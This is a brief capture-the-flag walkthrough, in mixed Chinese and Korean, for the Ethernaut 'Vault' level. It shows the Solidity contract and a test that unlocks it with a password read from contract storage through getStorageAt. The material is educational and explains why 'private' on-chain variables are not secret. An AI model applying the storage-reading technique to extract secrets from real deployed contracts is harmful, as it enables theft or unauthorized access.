Ethernaut系列-레벨 8(볼트)

2894 단어

레벨 8(금고):




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}


通关要求



잠김 = 거짓

要点



合约的存储变量,包含private,对外都是可见的.
跟第三关类似

解题思路



直接查看password并调用
테스트/08Vault.js

  it("attacks", async function () {
    //这个值可以从chrome的console中执行来获取(虽然是private):await web3.eth.getStorageAt(instance,1)+""
    await levelContract
      .connect(player)
      .unlock(
        "0x412076657279207374726f6e67207365637265742070617373776f7264203a29"
      );
  });

좋은 웹페이지 즐겨찾기